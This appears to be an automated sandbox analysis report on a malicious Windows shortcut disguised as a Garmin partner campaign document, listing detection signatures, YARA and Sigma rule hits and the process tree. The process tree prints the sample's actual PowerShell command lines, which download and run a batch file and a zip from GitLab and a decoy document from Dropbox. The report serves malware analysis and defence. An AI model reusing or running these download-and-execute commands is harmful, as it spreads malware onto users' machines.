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Windows
Analysis Report
3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk
Overview
General Information
Detection
Abobus Obfuscator, Braodo
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Abobus Obfuscator
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Machine Learning detection for sample
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell DownloadFile
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Uses an obfuscated file name to hide its real file extension (double extension)
Windows shortcut file (LNK) contains suspicious command line arguments
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 1804 cmdline:
"C:\Window s\System32 \cmd.exe" /c powersh ell -Comma nd "$h='ht tps://gitl ab.com/sta re2/garmin /-/raw/mai n/garsukhj df11.bat'; $p=$env:T EMP+'\Upda tes.bat'; iwr $h -Ou tFile $p;s tart $p" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6316 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6860 cmdline:
powershell -Command "$h='https ://gitlab. com/stare2 /garmin/-/ raw/main/g arsukhjdf1 1.bat'; $p =$env:TEMP +'\Updates .bat'; iwr $h -OutFi le $p;star t $p" MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 4176 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\Upda tes.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6500 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - chcp.com (PID: 3968 cmdline:
chcp.com 4 37 MD5: 33395C4732A49065EA72590B14B64F32) - find.exe (PID: 5424 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - findstr.exe (PID: 2012 cmdline:
findstr /L /I set "C :\Users\us er\AppData \Local\Tem p\Updates. bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 2836 cmdline:
findstr /L /I goto " C:\Users\u ser\AppDat a\Local\Te mp\Updates .bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 6108 cmdline:
findstr /L /I echo " C:\Users\u ser\AppDat a\Local\Te mp\Updates .bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 5552 cmdline:
findstr /L /I pause "C:\Users\ user\AppDa ta\Local\T emp\Update s.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - find.exe (PID: 6040 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 5844 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 1824 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 6456 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //www.drop box.com/sc l/fi/4p5pc 2fbhxx7mz0 qnortk/Gar min_Campai gn_Informa tion_for_P artners_V3 .docx?rlke y=wuzagfqo 68p4k9sn4y xo7i950&st =ss9gx9y8& dl=1', 'C: \Users\use r\AppData\ Local\Temp \\Garmin_C ampaign_In formation_ for_Partne rs_V3.docx ')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7124 cmdline:
powershell -WindowSt yle Hidden -Command "Start-Pro cess 'C:\U sers\user\ AppData\Lo cal\Temp\\ Garmin_Cam paign_Info rmation_fo r_Partners _V3.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6520 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //gitlab.c om/stare2/ garmin/-/r aw/main/fu knew1112.z ip', 'C:\U sers\Publi c\Document .zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
Click to see the 2 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Subhash Popuri (@pbssubhash): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: |
Source: | HTTPS traffic detected: | ||
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Source: | JA3 fingerprint: |
Source: | HTTP traffic detected: |
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: |
Source: | HTTP traffic detected: | ||
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Source: | HTTP traffic detected: |
Source: | String found in binary or memory: |